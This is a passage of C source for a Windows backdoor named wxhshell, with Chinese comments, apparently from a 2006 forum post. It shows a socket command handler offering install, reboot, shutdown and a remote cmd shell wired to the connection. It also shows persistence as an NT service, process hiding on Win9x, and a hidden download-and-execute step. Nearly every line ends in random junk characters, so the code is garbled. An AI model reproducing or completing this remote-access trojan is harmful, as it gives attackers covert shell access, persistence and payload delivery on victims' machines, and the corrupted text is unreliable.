      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 75R4[C6T  
    break; og+Vrd  
  } mGP%"R2X  
  // 安装 Bw`?zd\*  
  case 'i': { lc fAb@}2  
    if(Install()) (?XIhpd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \?e2qu/ C  
    else p*cyW l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I hSXU<]  
    break; d^IX(y*$  
    } zTG1 0  
  // 卸载 L!/{Z  
  case 'r': { 9,Dw;|A]  
    if(Uninstall()) ]+qd|}^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Y53b Z  
    else ZZ!6O/M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \KpJIHkBRy  
    break; <$uDN].T4  
    } l&] %APL  
  // 显示 wxhshell 所在路径 MB>4Y]rtU  
  case 'p': { y\iECdPU  
    char svExeFile[MAX_PATH]; u5U^}<}y}  
    strcpy(svExeFile,"\n\r"); d@Bd*iI<  
      strcat(svExeFile,ExeFile); \Z%_dT}  
        send(wsh,svExeFile,strlen(svExeFile),0); }Sh@.3*  
    break; }\N ~%?6D  
    } {}" <  
  // 重启 d--6<_q  
  case 'b': { u, 72Mm>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r`)'Kd  
    if(Boot(REBOOT)) +\PLUOk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n^G[N-\3  
    else { +W[{UC4b  
    closesocket(wsh); 0_^3 |n  
    ExitThread(0); 2Z^p)  
    } Gh{9nM_\"  
    break; ?5pZp~  
    } KV{  
  // 关机 #f=41d%  
  case 'd': { 0!:%Ge_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9dp4&&Z+F  
    if(Boot(SHUTDOWN)) 2ss*&BR.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  mSFA i  
    else { vf?m6CMU !  
    closesocket(wsh); Jl6biJx  
    ExitThread(0); 11fV|b%  
    } h;cw=G  
    break; KUq(&H7  
    } ^\VVx:]  
  // 获取shell ]nxSVKE4p  
  case 's': { XK0lv8(  
    CmdShell(wsh); ?LvxEQ-g  
    closesocket(wsh); TPN1Rnt0`  
    ExitThread(0); PP_ar{|7  
    break; ~me/ve  
  } r0'a-Mk;  
  // 退出 yzNDXA.  
  case 'x': { yWH!v]S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !*"#*)S.  
    CloseIt(wsh); O+Db#FW  
    break; a(`"qS  
    } ?FZ) LZM  
  // 离开 mI^S% HT  
  case 'q': { 5]3Mj*u\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uD4W@*PYr  
    closesocket(wsh); 9I1i(0q  
    WSACleanup(); u~N'UD1x  
    exit(1); N_0B[!B]  
    break; [A;0I jKam  
        } U:aaa  
  } [|YuT:Cp  
  } (I1^nrDP.  
H,!yG5yF  
  // 提示信息 K1- 3!G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sa"!ckh  
} Ob|tA  
  } xCu\jc)2  
~!Rf5QA85  
  return; b|.<rV'BTt  
} B-$ps=G+z  
}qhND-9#@  
// shell模块句柄 OR10IS  
int CmdShell(SOCKET sock) "@xL9[d  
{ *>lXCx  
STARTUPINFO si; d8^S~7  
ZeroMemory(&si,sizeof(si)); fhki!# E8M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 91FVe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QA~Lm  
PROCESS_INFORMATION ProcessInfo; wI[J>9Qn  
char cmdline[]="cmd"; z Hl+P*)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mP +H C)2  
  return 0; %L  nG^L  
} kxY9[#:<fB  
;l@Ge`&u  
// 自身启动模式 A(JgAV1{  
int StartFromService(void) Qer}eg`R  
{ SXV f&8  
typedef struct =d JRBl  
{ qi1#s,  
  DWORD ExitStatus; q:,ck@-4  
  DWORD PebBaseAddress; |@MGGAk  
  DWORD AffinityMask; Y^5)u/Y=U  
  DWORD BasePriority; TI^X gl~  
  ULONG UniqueProcessId; 3pkx3tp{  
  ULONG InheritedFromUniqueProcessId; 2$joM`j$  
}   PROCESS_BASIC_INFORMATION; ZP4y35&%y  
 1W>0  
PROCNTQSIP NtQueryInformationProcess; R+=Xr<`%U|  
l27J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Lyjp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; - SCFWc  
Ec!R3+  
  HANDLE             hProcess; @.v{hkM`  
  PROCESS_BASIC_INFORMATION pbi; ].N%A07  
[ldx_+xa:E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ehtb`Ms  
  if(NULL == hInst ) return 0; |OBZSk1jp  
<d3 a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "A}2iI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p xQh;w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \.`{nq  
O6\t_.  
  if (!NtQueryInformationProcess) return 0; 1F[W~@jW  
ZX40-6#O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aw1 f;&K4  
  if(!hProcess) return 0; k NUNh[  
CN#2-[T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T'%R kag>  
t&(\A,ch%  
  CloseHandle(hProcess); N6/;p]|  
N8`q.;qewz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0F[+rh"x  
if(hProcess==NULL) return 0; U0dhr;l  
)s8{|)-  
HMODULE hMod; pRh)DM#9  
char procName[255]; e:iqv?2t  
unsigned long cbNeeded; J<ZG&m362p  
/h K/t;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BHIC6i%  
m/1;os5+8  
  CloseHandle(hProcess); R-BN}ZS  
m)xz_Plc  
if(strstr(procName,"services")) return 1; // 以服务启动 !;&{Q^}  
l|  QQ  
  return 0; // 注册表启动 PA${<wyBR_  
} +C`zI~8  
R"{oj]d;$F  
// 主模块 ,) 3Eog\-  
int StartWxhshell(LPSTR lpCmdLine) 0d #jiG  
{ e\H1IR3  
  SOCKET wsl; YR0.m%U,  
BOOL val=TRUE; x`zE#sD  
  int port=0; kwpbgQ  
  struct sockaddr_in door; jsIT{a*]  
SHUn<+/e  
  if(wscfg.ws_autoins) Install(); jRSY`MU}t+  
zFO#oW,D  
port=atoi(lpCmdLine); ]*yUb-xY  
j{H,{x  
if(port<=0) port=wscfg.ws_port; hXP'NS`iv  
o<i\1<eI  
  WSADATA data; ,V # r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ey) 8q.5  
$ud\CU:r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (p}N cn.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N/eFwv.Er  
  door.sin_family = AF_INET; z%[^-l-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5^GrG|~  
  door.sin_port = htons(port); qM0Df0$?x  
\Qe`>nA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l=ZX9<3  
closesocket(wsl); JReJlDu  
return 1; } !RBH(m%  
} 8H2A<&3i  
a3E.rr;b  
  if(listen(wsl,2) == INVALID_SOCKET) { MDOP2y`2i  
closesocket(wsl); sn:wLc/GAd  
return 1; 4lF?s\W:  
} #P-T4 R  
  Wxhshell(wsl); |C.[eHe&D  
  WSACleanup(); eR:!1z_h  
"|K D$CY  
return 0; DzG$\%G2R}  
\kVi&X=q:  
} mpDQhD[n  
5jK9cF$>  
// 以NT服务方式启动 g ,""j`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Nd61ns(N  
{ Lsz)\yIPj  
DWORD   status = 0; z)]Br1  
  DWORD   specificError = 0xfffffff; 8z'_dfP=5  
ttA0* >'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v[=TPfX0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^WmP,Xf#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #H/suQZN"g  
  serviceStatus.dwWin32ExitCode     = 0; w]Z:Y`  
  serviceStatus.dwServiceSpecificExitCode = 0; IRB BLXv7\  
  serviceStatus.dwCheckPoint       = 0; }C9P--  
  serviceStatus.dwWaitHint       = 0; Rkz[x  
szU_,.\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZH8Oidj`  
  if (hServiceStatusHandle==0) return; W)m\q}]FYz  
-4nSiI  
status = GetLastError(); J:Ncy}AO  
  if (status!=NO_ERROR) 5Ak6q(\  
{ KeE)9e   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y@R9+ 7!  
    serviceStatus.dwCheckPoint       = 0; ,lr\XhO  
    serviceStatus.dwWaitHint       = 0; EZg$mp1  
    serviceStatus.dwWin32ExitCode     = status; b0!ZA/YC-  
    serviceStatus.dwServiceSpecificExitCode = specificError; ])uhm)U@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .]H1uoci|  
    return; 2vx1M6a)L  
  } ! )PV-[2  
n>:|K0u"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I\:(`)"r  
  serviceStatus.dwCheckPoint       = 0; +JRPd.B"@  
  serviceStatus.dwWaitHint       = 0; -mAi7[omh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m #}%l3$  
} f%5 s8)  
rk .tLk  
// 处理NT服务事件,比如:启动、停止 Z^SF $+UN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x^P~+(g  
{ >'96SE3  
switch(fdwControl) X*Cvh|  
{ R`!'c(V  
case SERVICE_CONTROL_STOP: ^Y- S"Ks  
  serviceStatus.dwWin32ExitCode = 0; vK~tgZ&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iP^o]4[c  
  serviceStatus.dwCheckPoint   = 0; "Zq)y_1  
  serviceStatus.dwWaitHint     = 0; S67>yqha  
  { 3pk `&'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /5 6sPl 7}  
  } ,CA3Q.y>|  
  return; ]\Q9j7}37+  
case SERVICE_CONTROL_PAUSE: %+e% RZ3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Or*e$uMIY  
  break; P{_Xg,Z  
case SERVICE_CONTROL_CONTINUE: H_<hZ UB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QvjOOc@k~n  
  break; S, %BhQ[  
case SERVICE_CONTROL_INTERROGATE: F1UTj "<e  
  break; ZVX!=3VT  
}; 5zR9N>!c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dE0 p>4F  
} >@wyiBU  
i%eq!q  
// 标准应用程序主函数 $MB /j6#j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /agX! E4s  
{ l!^+Xeg~  
/!L#cUog  
// 获取操作系统版本 ! Al?B9KJ  
OsIsNt=GetOsVer(); 22gk1'~dO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); An0Zg'o!G  
?cdjQ@j~h  
  // 从命令行安装 9XSZD93L  
  if(strpbrk(lpCmdLine,"iI")) Install(); us TPr  
~Dz`O"X3  
  // 下载执行文件 FSn&N2[D  
if(wscfg.ws_downexe) { 3A>Bnb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <qpDAz4k  
  WinExec(wscfg.ws_filenam,SW_HIDE); ap[{`u  
} j9G1  _  
GN%|'eU  
if(!OsIsNt) { 38Bh9>c3  
// 如果时win9x,隐藏进程并且设置为注册表启动 mFdj+ &2\  
HideProc(); C/L+gU&  
StartWxhshell(lpCmdLine); BQTibd  
} w;Jby  
else ;)nV  
  if(StartFromService()) ~xSAR;8  
  // 以服务方式启动 ollk {N  
  StartServiceCtrlDispatcher(DispatchTable); ++)3*+N+  
else D3BT>zTGK  
  // 普通方式启动 |0e7<[  
  StartWxhshell(lpCmdLine); =A< Fcl\Rz  
1<ic 5kB  
return 0; |JD"iP:  
}
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只看该作者 1 发表于: 2006-10-10
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